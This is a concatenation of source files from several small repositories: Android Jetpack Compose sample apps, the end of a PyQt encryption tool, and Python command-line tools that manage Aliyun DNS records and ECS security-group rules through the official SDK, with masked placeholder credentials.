self.status_label.setText(f"批量处理完成: {success_count}/{len(files)} 成功")
def main():
"""主函数"""
app = QApplication(sys.argv)
app.setApplicationName("安全文件加密工具")
app.setApplicationVersion("1.0")
app.setAttribute(Qt.AA_EnableHighDpiScaling, True)
app.setAttribute(Qt.AA_UseHighDpiPixmaps, True)
window = MobileEncryptionApp()
window.show()
sys.exit(app.exec_())
if __name__ == "__main__":
main()
|
2302_76241188/MEK
|
流星加密王.py
|
Python
|
apache-2.0
| 31,310
|
package com.example.greetingcard
import androidx.test.platform.app.InstrumentationRegistry
import androidx.test.ext.junit.runners.AndroidJUnit4
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.Assert.*
/**
* Instrumented test, which will execute on an Android device.
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
@RunWith(AndroidJUnit4::class)
class ExampleInstrumentedTest {
@Test
fun useAppContext() {
// Context of the app under test.
val appContext = InstrumentationRegistry.getInstrumentation().targetContext
assertEquals("com.example.greetingcard", appContext.packageName)
}
}
|
2301_82325581/exp1
|
GreetingCard/app/src/androidTest/java/com/example/greetingcard/ExampleInstrumentedTest.kt
|
Kotlin
|
unknown
| 675
|
package com.example.greetingcard
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.layout.padding
import androidx.compose.material3.Scaffold
import androidx.compose.material3.Surface
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.ui.Modifier
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp
import com.example.greetingcard.ui.theme.GreetingCardTheme
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
enableEdgeToEdge()
setContent {
GreetingCardTheme {
Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
Greeting(
name = "Android",
modifier = Modifier.padding(innerPadding)
)
}
}
}
}
}
@Composable
fun Greeting(name: String, modifier: Modifier = Modifier) {
Surface(color=Color.Cyan) {
Text(
text = "Hi my name is $name!",
modifier = modifier.padding(24.dp)
)
}
}
@Preview(showBackground = true)
@Composable
fun GreetingPreview() {
GreetingCardTheme {
Greeting("jiangue")
}
}
|
2301_82325581/exp1
|
GreetingCard/app/src/main/java/com/example/greetingcard/MainActivity.kt
|
Kotlin
|
unknown
| 1,549
|
package com.example.greetingcard.ui.theme
import androidx.compose.ui.graphics.Color
val Purple80 = Color(0xFFD0BCFF)
val PurpleGrey80 = Color(0xFFCCC2DC)
val Pink80 = Color(0xFFEFB8C8)
val Purple40 = Color(0xFF6650a4)
val PurpleGrey40 = Color(0xFF625b71)
val Pink40 = Color(0xFF7D5260)
|
2301_82325581/exp1
|
GreetingCard/app/src/main/java/com/example/greetingcard/ui/theme/Color.kt
|
Kotlin
|
unknown
| 288
|
package com.example.greetingcard.ui.theme
import android.app.Activity
import android.os.Build
import androidx.compose.foundation.isSystemInDarkTheme
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.darkColorScheme
import androidx.compose.material3.dynamicDarkColorScheme
import androidx.compose.material3.dynamicLightColorScheme
import androidx.compose.material3.lightColorScheme
import androidx.compose.runtime.Composable
import androidx.compose.ui.platform.LocalContext
private val DarkColorScheme = darkColorScheme(
primary = Purple80,
secondary = PurpleGrey80,
tertiary = Pink80
)
private val LightColorScheme = lightColorScheme(
primary = Purple40,
secondary = PurpleGrey40,
tertiary = Pink40
/* Other default colors to override
background = Color(0xFFFFFBFE),
surface = Color(0xFFFFFBFE),
onPrimary = Color.White,
onSecondary = Color.White,
onTertiary = Color.White,
onBackground = Color(0xFF1C1B1F),
onSurface = Color(0xFF1C1B1F),
*/
)
@Composable
fun GreetingCardTheme(
darkTheme: Boolean = isSystemInDarkTheme(),
// Dynamic color is available on Android 12+
dynamicColor: Boolean = true,
content: @Composable () -> Unit
) {
val colorScheme = when {
dynamicColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.S -> {
val context = LocalContext.current
if (darkTheme) dynamicDarkColorScheme(context) else dynamicLightColorScheme(context)
}
darkTheme -> DarkColorScheme
else -> LightColorScheme
}
MaterialTheme(
colorScheme = colorScheme,
typography = Typography,
content = content
)
}
|
2301_82325581/exp1
|
GreetingCard/app/src/main/java/com/example/greetingcard/ui/theme/Theme.kt
|
Kotlin
|
unknown
| 1,704
|
package com.example.greetingcard.ui.theme
import androidx.compose.material3.Typography
import androidx.compose.ui.text.TextStyle
import androidx.compose.ui.text.font.FontFamily
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.unit.sp
// Set of Material typography styles to start with
val Typography = Typography(
bodyLarge = TextStyle(
fontFamily = FontFamily.Default,
fontWeight = FontWeight.Normal,
fontSize = 16.sp,
lineHeight = 24.sp,
letterSpacing = 0.5.sp
)
/* Other default text styles to override
titleLarge = TextStyle(
fontFamily = FontFamily.Default,
fontWeight = FontWeight.Normal,
fontSize = 22.sp,
lineHeight = 28.sp,
letterSpacing = 0.sp
),
labelSmall = TextStyle(
fontFamily = FontFamily.Default,
fontWeight = FontWeight.Medium,
fontSize = 11.sp,
lineHeight = 16.sp,
letterSpacing = 0.5.sp
)
*/
)
|
2301_82325581/exp1
|
GreetingCard/app/src/main/java/com/example/greetingcard/ui/theme/Type.kt
|
Kotlin
|
unknown
| 993
|
package com.example.greetingcard
import org.junit.Test
import org.junit.Assert.*
/**
* Example local unit test, which will execute on the development machine (host).
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
class ExampleUnitTest {
@Test
fun addition_isCorrect() {
assertEquals(4, 2 + 2)
}
}
|
2301_82325581/exp1
|
GreetingCard/app/src/test/java/com/example/greetingcard/ExampleUnitTest.kt
|
Kotlin
|
unknown
| 348
|
import configs,time,sys,os
from AliyunDNS import ChangeDns
import GUI
# 打印基本信息
info = ChangeDns.DomainInfo()
# 初始化域名解析记录
Record = ChangeDns.ListRecord()
# 开启死循环
while True:
# 清除前面的输出
os.system('cls' if os.name == 'nt' else 'clear')
# 打印GUI
GUI.GUI()
try:
select = input('Please input option：')
except:
print('Please check your input......')
time.sleep(3)
if(select == '0'):
print()
print('\nProgram exit！Thank you for using......\n')
# 停顿5秒后退出程序
time.sleep(5)
sys.exit()
if(select == '1'):
# 清除前面的输出
os.system('cls' if os.name == 'nt' else 'clear')
# 将值传递给GUI模块绘制图形
GUI.RecordList(Record)
input('\nEnter exit......\n')
if(select == '2'):
addrecordinfo = GUI.AddRecords()
if(addrecordinfo):
ChangeDns.AddRecord(addrecordinfo[0],addrecordinfo[1])
Record = ChangeDns.ListRecord()
if(select == '3'):
# 清除前面的输出
os.system('cls' if os.name == 'nt' else 'clear')
# 将值传递给GUI模块绘制图形
GUI.RecordList(Record)
print()
try:
select = int(input("Please enter the number you want to delete:"))
except:
print('Please check your input......')
time.sleep(3)
if(Record[select-1].record_id == configs.RecordId):
print('\nThis record cannot be deleted....')
time.sleep(3)
continue
ChangeDns.DeleteRecord(Record[select-1].record_id)
Record = ChangeDns.ListRecord()
if(select == '4'):
# 清除前面的输出
os.system('cls' if os.name == 'nt' else 'clear')
# 将值传递给GUI模块绘制图形
GUI.RecordList(Record)
print()
try:
id = int(input("Please enter the number you want to modify:"))
except:
print('Please check your input......')
time.sleep(3)
if (Record[id - 1].record_id == configs.RecordId):
print('\nThis record cannot be modified....')
time.sleep(3)
continue
try:
RecordName = input("Please enter the RecordName you want to modify:")
IP = input("Please enter the IP you want to modify:")
except:
print('Please check your input......')
time.sleep(3)
ChangeDns.ModifyRecord(Record[id-1].record_id,RecordName,IP)
Record = ChangeDns.ListRecord()
if(select == '5'):
# 清除前面的输出
os.system('cls' if os.name == 'nt' else 'clear')
GUI.DomainInfo(info)
try:
select = input('input enter to next:')
except:
pass
|
2302_76921392/AliyunChangeDNS
|
AliyunChangeDNS.py
|
Python
|
unknown
| 2,883
|
import os
import sys
import configs
import time
from typing import List
from alibabacloud_alidns20150109.client import Client as Alidns20150109Client
from alibabacloud_tea_openapi import models as open_api_models
from alibabacloud_alidns20150109 import models as alidns_20150109_models
from alibabacloud_tea_util import models as util_models
from alibabacloud_tea_util.client import Client as UtilClient
class ChangeDns:
def __init__(self):
pass
@staticmethod
def create_client() -> Alidns20150109Client:
"""
使用AK&SK初始化账号Client
@return: Client
@throws Exception
"""
# 工程代码泄露可能会导致 AccessKey 泄露，并威胁账号下所有资源的安全性。以下代码示例仅供参考。
# 建议使用更安全的 STS 方式，更多鉴权访问方式请参见：https://help.aliyun.com/document_detail/378659.html。
config = open_api_models.Config(
# 必填，请确保代码运行环境设置了环境变量 ALIBABA_CLOUD_ACCESS_KEY_ID。,
access_key_id=configs.AccessKey_ID,
# 必填，请确保代码运行环境设置了环境变量 ALIBABA_CLOUD_ACCESS_KEY_SECRET。,
access_key_secret=configs.AccessKey_Secret
)
# Endpoint 请参考 https://api.aliyun.com/product/Alidns
config.endpoint = f'alidns.cn-beijing.aliyuncs.com'
return Alidns20150109Client(config)
@staticmethod
def DomainInfo() -> None:
client = ChangeDns.create_client()
describe_domain_info_request = alidns_20150109_models.DescribeDomainInfoRequest(
domain_name=configs.domain
)
runtime = util_models.RuntimeOptions()
try:
# 复制代码运行请自行打印 API 的返回值
return client.describe_domain_info_with_options(describe_domain_info_request, runtime).body
except Exception as error:
print(error.message)
time.sleep(3)
@staticmethod
def ListRecord() -> None:
client = ChangeDns.create_client()
describe_domain_records_request = alidns_20150109_models.DescribeDomainRecordsRequest(
domain_name=configs.domain
)
runtime = util_models.RuntimeOptions()
try:
# 复制代码运行请自行打印 API 的返回值
return client.describe_domain_records_with_options(describe_domain_records_request, runtime).body.domain_records.record
except Exception as error:
print(error.message)
time.sleep(3)
@staticmethod
def AddRecord(RecordName:str,IP:str):
client = ChangeDns.create_client()
add_domain_record_request = alidns_20150109_models.AddDomainRecordRequest(
domain_name=configs.domain,
rr=RecordName,
type='A',
value=IP
)
runtime = util_models.RuntimeOptions()
try:
# 复制代码运行请自行打印 API 的返回值
client.add_domain_record_with_options(add_domain_record_request, runtime)
print('\nadd success....')
time.sleep(3)
except Exception as error:
print(error.message)
print('an exception occurs.Please check the input......')
time.sleep(3)
@staticmethod
def ModifyRecord(
RecordId,RecordName:str,IP:str
) -> None:
client = ChangeDns.create_client()
update_domain_record_request = alidns_20150109_models.UpdateDomainRecordRequest(
record_id=RecordId,
rr=RecordName,
type='A',
value=IP
)
runtime = util_models.RuntimeOptions()
try:
# 复制代码运行请自行打印 API 的返回值
client.update_domain_record_with_options(update_domain_record_request, runtime)
print('\nmodify success....')
time.sleep(3)
except Exception as error:
print(error.message)
print('an exception occurs.Please check the input......')
@staticmethod
def DeleteRecord(
recordId
) -> None:
client = ChangeDns.create_client()
delete_domain_record_request = alidns_20150109_models.DeleteDomainRecordRequest(
record_id=recordId
)
runtime = util_models.RuntimeOptions()
try:
# 复制代码运行请自行打印 API 的返回值
client.delete_domain_record_with_options(delete_domain_record_request, runtime)
print('\ndelete success.....')
time.sleep(3)
except Exception as error:
# 此处仅做打印展示，请谨慎对待异常处理，在工程项目中切勿直接忽略异常。
# 错误 message
print(error.message)
print('an exception occurs.Please check the input......')
|
2302_76921392/AliyunChangeDNS
|
AliyunDNS.py
|
Python
|
unknown
| 4,939
|
import datetime,os
import time
def GUI():
print('-' * 102)
print('|{: <100}|'.format(''))
print('*{:^100}*'.format('AliyunDomainRecord'))
print('|{: <100}|'.format(''))
print('*{:^20}{:^20}{:^20}{:^20}{:^20}*'.format(
'(0)' + 'exit', '(1)' + 'ListRecord', '(2)' + 'AddRecord', '(3)' + 'DeleteRecord', '(4)' + "ModifyRecord")
)
print('|{: <100}|'.format(''))
print('*{:^100}*'.format('(5)DomainInfo'))
print('|{: <100}|'.format(''))
print('-' * 102)
def RecordList(Records:list):
list = ['index','Status','RR','Locked','Type','Value',"UpdateTimestamp",'CreateTimestamp']
print('+{:-^5}+{:-^10}+{:-^10}+{:-^10}+{:-^15}+{:-^15}+{:-^22}+{:-^22}+'.format('','','','','','','',''))
print('|{:-^5}|{:^10}|{:^10}|{:^10}|{:^15}|{:^15}|{:^22}|{:^22}|'.format(
list[0],list[1], list[2], list[3], list[4],list[5],list[6],list[7])
)
print('+{:-^5}+{:-^10}+{:-^10}+{:-^10}+{:-^15}+{:-^15}+{:-^22}+{:-^22}+'.format('', '', '', '', '', '', '',''))
for index,item in enumerate(Records):
index += 1
update_str = str(item.update_timestamp)
update_int = int(update_str[:-3])
create_str = str(item.create_timestamp)
create_int = int(create_str[:-3])
update = datetime.datetime.fromtimestamp(update_int).strftime('%Y-%m-%d %H:%M:%S')
create = datetime.datetime.fromtimestamp(create_int).strftime('%Y-%m-%d %H:%M:%S')
print('|{:^5} {:^10} {:^10} {:^10} {:^15} {:^15} {:^22} {:^22}|'.format(
index,item.status, item.rr, item.locked, item.type, item.value,update,create))
print('+{:-^5}+{:-^10}+{:-^10}+{:-^10}+{:-^15}+{:-^15}+{:-^22}+{:-^22}+'.format('','','','','','','',''))
def AddRecords():
while True:
# 清除前面的输出
os.system('cls' if os.name == 'nt' else 'clear')
RecordName = input('Please input your RecordName:')
try:
IP = input('Please input your Record IP:')
print(f'\nYour RecordName is {RecordName} \nYour RecordRecordNameP is {IP}\n')
select = input('Enter YES to confirm,\n' +
'Enter NO to select again,\n' +
'Other keys exit:').lower()
except:
print('Please check your input......')
time.sleep(3)
if(select == 'yes'):
return [RecordName,IP]
elif(select == 'no'):
continue
else:
break
def DomainInfo(info):
print('+'+'-' * 40+'+')
print('|{: <40}|'.format(' AliDomain: '+str(info.ali_domain)))
print('|{: <40}|'.format(' DndServers: '))
for item in info.dns_servers.dns_server:
print('|{: <40}|'.format(' '+item))
print('|{: <40}|'.format(' VersionName: '+str(info.version_name)))
print('|{: <40}|'.format(' DomainName: '+str(info.domain_name)))
print('|{: <40}|'.format(' CreateTime: '+str(info.create_time)))
print('|{: <40}|'.format(' PunyCode: '+str(info.puny_code)))
print('|{: <40}|'.format(' VersionCode: '+str(info.version_code)))
print('+'+'-' * 40+'+')
|
2302_76921392/AliyunChangeDNS
|
GUI.py
|
Python
|
unknown
| 3,124
|
AccessKey_ID = "LTA****gf" # 添加自己的AccessKey_ID
AccessKey_Secret = "4TIF*****oazZ0jd" # 添加自己的AccessKey_Secret
domain = "yos***.cn" # 输入自己的域名
RecordId = '9***8' # 绑定不能被修改的解析记录,获取方式可以查看我的博客https://blog.csdn.net/2302_76921392/article/details/143923051
|
2302_76921392/AliyunChangeDNS
|
configs.py
|
Python
|
unknown
| 331
|
# CLI界面
def show_GUI(Title:str , item_List:list):
print('-' * 102)
print('|{: <100}|'.format(''))
print('*{:^92}*'.format(Title))
print('|{: <100}|'.format(''))
print('*{:^14}{:^14}{:^18}{:^16}{:^16}*'.format(
'(0)'+item_List[0],'(1)'+item_List[1],'(2)'+item_List[2],'(3)'+item_List[3],'(4)'+item_List[4])
)
print('|{: <100}|'.format(''))
print('-' * 102)
|
2302_76921392/AliyunSecurityGroups
|
APP_GUI.py
|
Python
|
unknown
| 399
|
import requests
def get_public_ip():
response = requests.get('http://ip-api.com/json')
if response.status_code == 200:
data = response.json()
if data['status'] == 'success':
return data['query']
return None
|
2302_76921392/AliyunSecurityGroups
|
GetIpAddress.py
|
Python
|
unknown
| 246
|
from SecurityGroup import SecurityGroup
from GetIpAddress import get_public_ip
def add_ssh():
IP = get_public_ip()
return SecurityGroup.add_SecurityGroupItem('TCP',IP,'22')
|
2302_76921392/AliyunSecurityGroups
|
QuickAddSecGroup.py
|
Python
|
unknown
| 180
|
import os
import json
import sys
import env
from typing import List
from alibabacloud_ecs20140526.client import Client as Ecs20140526Client
from alibabacloud_tea_openapi import models as open_api_models
from alibabacloud_ecs20140526 import models as ecs_20140526_models
from alibabacloud_tea_util import models as util_models
from alibabacloud_tea_util.client import Client as UtilClient
class SecurityGroup:
def __init__(self):
pass
@staticmethod
def create_client() ->Ecs20140526Client:
config = open_api_models.Config(
access_key_id=env.AccessKey_ID,
access_key_secret=env.AccessKey_Secret
)
config.endpoint = f'ecs.cn-beijing.aliyuncs.com'
return Ecs20140526Client(config)
@staticmethod
def list_SecurityGroupItem():
client = SecurityGroup.create_client()
list = ecs_20140526_models.DescribeSecurityGroupAttributeRequest(
region_id='cn-beijing',
security_group_id=env.SourceGroup_Id,
direction='ingress',
nic_type='internet'
)
runtime = util_models.RuntimeOptions()
try:
# 复制代码运行请自行打印 API 的返回值
return client.describe_security_group_attribute_with_options(list, runtime).body.permissions.permission
except Exception as error:
# 错误 message
print(error.message)
# 诊断地址
print(error.data.get("Recommend"))
UtilClient.assert_as_string(error.message)
@staticmethod
def add_SecurityGroupItem(ip_protocol,source_cidr_ip,port_range):
client = SecurityGroup.create_client()
permissions_0 = ecs_20140526_models.AuthorizeSecurityGroupRequestPermissions(
policy='accept',
ip_protocol=ip_protocol,
source_cidr_ip=source_cidr_ip,
source_group_id=env.SourceGroup_Id,
port_range=port_range
)
authorize_security_group_request = ecs_20140526_models.AuthorizeSecurityGroupRequest(
region_id='cn-beijing',
security_group_id=env.SourceGroup_Id,
nic_type='internet',
permissions=[
permissions_0
]
)
runtime = util_models.RuntimeOptions()
try:
# 复制代码运行请自行打印 API 的返回值
return client.authorize_security_group_with_options(authorize_security_group_request, runtime)
except Exception as error:
# 此处仅做打印展示，请谨慎对待异常处理，在工程项目中切勿直接忽略异常。
# 错误 message
print(error.message)
# 诊断地址
print(error.data.get("Recommend"))
UtilClient.assert_as_string(error.message)
@staticmethod
def remove_SecurityGroupItem(security_group_rule_id):
client = SecurityGroup.create_client()
revoke_security_group_request = ecs_20140526_models.RevokeSecurityGroupRequest(
region_id='cn-beijing',
security_group_id=env.SourceGroup_Id,
security_group_rule_id=[
security_group_rule_id
]
)
runtime = util_models.RuntimeOptions()
try:
# 复制代码运行请自行打印 API 的返回值
return client.revoke_security_group_with_options(revoke_security_group_request, runtime)
except Exception as error:
# 此处仅做打印展示，请谨慎对待异常处理，在工程项目中切勿直接忽略异常。
# 错误 message
print(error.message)
# 诊断地址
print(error.data.get("Recommend"))
UtilClient.assert_as_string(error.message)
@staticmethod
def Change_SecurityGroupItem(security_group_rule_id,policy,ip_protocol,source_cidr_ip,port_range):
client = SecurityGroup.create_client()
modify_security_group_rule_request = ecs_20140526_models.ModifySecurityGroupRuleRequest(
region_id='cn-beijing',
security_group_id=env.SourceGroup_Id,
security_group_rule_id=security_group_rule_id,
policy=policy,
priority='1',
ip_protocol=ip_protocol,
source_cidr_ip=source_cidr_ip,
port_range=port_range
)
runtime = util_models.RuntimeOptions()
try:
# 复制代码运行请自行打印 API 的返回值
client.modify_security_group_rule_with_options(modify_security_group_rule_request, runtime)
except Exception as error:
# 此处仅做打印展示，请谨慎对待异常处理，在工程项目中切勿直接忽略异常。
# 错误 message
print(error.message)
# 诊断地址
print(error.data.get("Recommend"))
UtilClient.assert_as_string(error.message)
|
2302_76921392/AliyunSecurityGroups
|
SecurityGroup.py
|
Python
|
unknown
| 4,975
|
AccessKey_ID='LTAI5*************iP' # 密钥ID
AccessKey_Secret='SMisBz***********AiYO' # 密钥
SourceGroup_Id='s*********mffzyvuyrc6sl' # 修改安全组的ID
|
2302_76921392/AliyunSecurityGroups
|
env.py
|
Python
|
unknown
| 160
|
import SecurityGroup
import QuickAddSecGroup as Quick
import APP_GUI,sys,time,os
import GetIpAddress
while True:
os.system('cls' if os.name == 'nt' else 'clear')
APP_GUI.show_GUI('阿里云实例安全组', ['退出程序', '规则列表', '快捷添加规则', '删除规则', '修改规则'])
select = input('下一步操作：')
if(select == '0'):
print()
print('程序退出！感谢使用......')
time.sleep(5)
sys.exit()
if(select == '1'):
itemList = SecurityGroup.SecurityGroup.list_SecurityGroupItem()
print('\n')
print('-' * 115)
print('||{:^3}||{:^9}||{:^9}||{:^12}||{:^12}||{:^12}||{:^18}||'.format(
'编号','授权策略','优先级','协议类型','端口范围','授权对象','创建时间'
))
index = 0
for item in itemList:
print('||{:^6}{:^16}{:^14}{:^16}{:^20}{:^17}{:^23}||'.format(
index,item.policy, item.priority, item.ip_protocol, item.port_range, item.source_cidr_ip, item.create_time
))
index += 1
print('-' * 115)
print('\n')
input('下一步.......')
if(select == '2'):
print('-' * 102)
print('|{: <100}|'.format(''))
print('*{: ^45}{: ^45}*'.format('(0)返回上一级','(1)ssh协议'))
print('|{: <100}|'.format(''))
print('-' * 102)
toSelect = input('下一步操作：')
if(toSelect == '0'):
continue
if(toSelect == '1'):
Quick.add_ssh()
print()
print('添加成功！ 请检查列表页')
print('如果配置重复，列表不会更新！')
print()
time.sleep(2)
if(select == '3'):
itemList = SecurityGroup.SecurityGroup.list_SecurityGroupItem()
print('\n')
print('-' * 115)
print('||{:^3}||{:^9}||{:^9}||{:^12}||{:^12}||{:^12}||{:^18}||'.format(
'编号', '授权策略', '优先级', '协议类型', '端口范围', '授权对象', '创建时间'
))
index = 0
for item in itemList:
print('||{:^6}{:^16}{:^14}{:^16}{:^20}{:^17}{:^23}||'.format(
index, item.policy, item.priority, item.ip_protocol, item.port_range, item.source_cidr_ip,
item.create_time
))
index += 1
print('-' * 115)
print('\n')
print('-' * 58)
print('*{: ^45}*'.format('请输入需要删除的规则序号'))
print('-' * 58)
try:
delSelect = int(input(''))
except:
print('出现异常，回到选择页面！')
print()
continue
SecurityGroup.SecurityGroup.remove_SecurityGroupItem(itemList[delSelect].security_group_rule_id)
print()
print('操作成功！请检查规则列表！')
print()
time.sleep(2)
if(select == '4'):
itemList = SecurityGroup.SecurityGroup.list_SecurityGroupItem()
print('\n')
print('-' * 115)
print('||{:^3}||{:^9}||{:^9}||{:^12}||{:^12}||{:^12}||{:^18}||'.format(
'编号', '授权策略', '优先级', '协议类型', '端口范围', '授权对象', '创建时间'
))
index = 0
for item in itemList:
print('||{:^6}{:^16}{:^14}{:^16}{:^20}{:^17}{:^23}||'.format(
index, item.policy, item.priority, item.ip_protocol, item.port_range, item.source_cidr_ip,
item.create_time
))
index += 1
print('-' * 115)
print('\n')
print('-' * 58)
print('*{: ^45}*'.format('请输入字符下一步(-1返回上一步)'))
print('-' * 58)
try:
rmSelect = int(input(''))
except:
print('出现异常，回到选择页面！')
print()
continue
if (rmSelect == '-1'):
continue
print('-' * 80)
print('*{: ^69}*'.format('请按照下述规则添加 ”，“逗号分隔'))
print('*{: ^58}*'.format('列表序号，access/drop，网络协议（TCP/UDP）,网络源地址（不输入默认当前IP地址），端口号'))
print('-' * 80)
rmStr = input('')
rmList = rmStr.split(',')
try:
if (rmList[3] == ''):
rmList[3] = GetIpAddress.get_public_ip()
except:
print('出现异常，回到选择页面！')
print()
continue
rmList[4] = rmList[4] + '/' + rmList[4]
SecurityGroup.SecurityGroup.Change_SecurityGroupItem(itemList[int(rmList[0])].security_group_rule_id,rmList[1],rmList[2],rmList[3],rmList[4])
print('操作成功！请检查列表！')
print()
time.sleep(2)
|
2302_76921392/AliyunSecurityGroups
|
main.py
|
Python
|
unknown
| 4,832
|
package com.example.jy1
import androidx.test.platform.app.InstrumentationRegistry
import androidx.test.ext.junit.runners.AndroidJUnit4
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.Assert.*
/**
* Instrumented test, which will execute on an Android device.
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
@RunWith(AndroidJUnit4::class)
class ExampleInstrumentedTest {
@Test
fun useAppContext() {
// Context of the app under test.
val appContext = InstrumentationRegistry.getInstrumentation().targetContext
assertEquals("com.example.jy1", appContext.packageName)
}
}
|
2301_82325581/exp6
|
jy1/app/src/androidTest/java/com/example/jy1/ExampleInstrumentedTest.kt
|
Kotlin
|
unknown
| 657
|
package com.example.jy1
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.compose.foundation.Image
import androidx.compose.foundation.background
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.lazy.grid.GridCells
import androidx.compose.foundation.lazy.grid.LazyVerticalGrid
import androidx.compose.foundation.lazy.grid.items
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.material3.Surface
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.draw.clip
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.res.painterResource
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContent {
Surface(
modifier = Modifier.fillMaxSize(),
color = Color(0xFFF5F5F5)
) {
CategoryGridScreen()
}
}
}
}
data class Category(
val name: String,
val count: Int,
val imageRes: Int
)
@Composable
fun CategoryGridScreen() {
val categories = listOf(
Category("Architecture", 58, R.drawable.architecture),
Category("Biology", 90, R.drawable.biology),
Category("Business", 78, R.drawable.business),
Category("Design", 423, R.drawable.design),
Category("Engineering", 67, R.drawable.engineering),
Category("Finance", 100, R.drawable.finance),
Category("Gaming", 37, R.drawable.gaming),
Category("Drawing", 326, R.drawable.drawing),
Category("Journalism", 96, R.drawable.journalism),
Category("Lifestyle", 305, R.drawable.lifestyle),
Category("Painting", 172, R.drawable.painting),
Category("Automotive", 30, R.drawable.automotive),
Category("Crafts", 121, R.drawable.crafts),
Category("Culinary", 118, R.drawable.curiosity),
Category("Ecology", 28, R.drawable.ecology),
Category("Fashion", 92, R.drawable.fashion),
Category("Film", 165, R.drawable.film),
Category("Geology", 290, R.drawable.geology),
Category("History", 189, R.drawable.history),
Category("Law", 58, R.drawable.law),
Category("Music", 212, R.drawable.music),
Category("Photography", 321, R.drawable.photography)
)
Column(
modifier = Modifier
.fillMaxSize()
.background(Color(0xFFF5F5F5))
) {
// 顶部状态栏区域
Box(
modifier = Modifier
.fillMaxWidth()
.height(68.dp)
.background(Color.White),
contentAlignment = Alignment.Center
) {
Text(
text = "12:00",
fontSize = 16.sp,
fontWeight = FontWeight.Medium,
color = Color.Black
)
}
// 两列网格布局
LazyVerticalGrid(
columns = GridCells.Fixed(2),
modifier = Modifier
.fillMaxSize()
.padding(16.dp),
verticalArrangement = Arrangement.spacedBy(16.dp),
horizontalArrangement = Arrangement.spacedBy(16.dp)
) {
items(categories) { category ->
CategoryGridItem(category = category)
}
}
}
}
@Composable
fun CategoryGridItem(category: Category) {
Row(
modifier = Modifier
.fillMaxWidth()
.clip(RoundedCornerShape(16.dp))
.background(Color.White),
verticalAlignment = Alignment.CenterVertically
) {
// 左边图片 - 68dp × 68dp，直接贴合左边
Image(
painter = painterResource(id = category.imageRes),
contentDescription = "${category.name} icon",
modifier = Modifier
.size(68.dp)
.clip(RoundedCornerShape(12.dp))
)
Spacer(modifier = Modifier.width(16.dp))
// 右边文字区域
Column(
modifier = Modifier
.weight(1f)
.padding(vertical = 16.dp) // 文字区域垂直内边距16dp
) {
// 分类名称
Text(
text = category.name,
fontSize = 16.sp,
fontWeight = FontWeight.Medium,
color = Color.Black
)
Spacer(modifier = Modifier.height(8.dp))
// 数量区域 - 包含小图标和数字
Row(
verticalAlignment = Alignment.CenterVertically
) {
// 小图标
Image(
painter = painterResource(id = R.drawable.ic_arrow_right),
contentDescription = "count icon",
modifier = Modifier.size(12.dp)
)
Spacer(modifier = Modifier.width(8.dp))
// 课程数量
Text(
text = "${category.count}",
fontSize = 14.sp,
fontWeight = FontWeight.Normal,
color = Color.Gray
)
}
}
}
}
@Preview(showBackground = true)
@Composable
fun DefaultPreview() {
CategoryGridScreen()
}
|
2301_82325581/exp6
|
jy1/app/src/main/java/com/example/jy1/MainActivity.kt
|
Kotlin
|
unknown
| 5,676
|
package com.example.jy1.ui.theme
import androidx.compose.ui.graphics.Color
val Purple80 = Color(0xFFD0BCFF)
val PurpleGrey80 = Color(0xFFCCC2DC)
val Pink80 = Color(0xFFEFB8C8)
val Purple40 = Color(0xFF6650a4)
val PurpleGrey40 = Color(0xFF625b71)
val Pink40 = Color(0xFF7D5260)
|
2301_82325581/exp6
|
jy1/app/src/main/java/com/example/jy1/ui/theme/Color.kt
|
Kotlin
|
unknown
| 279
|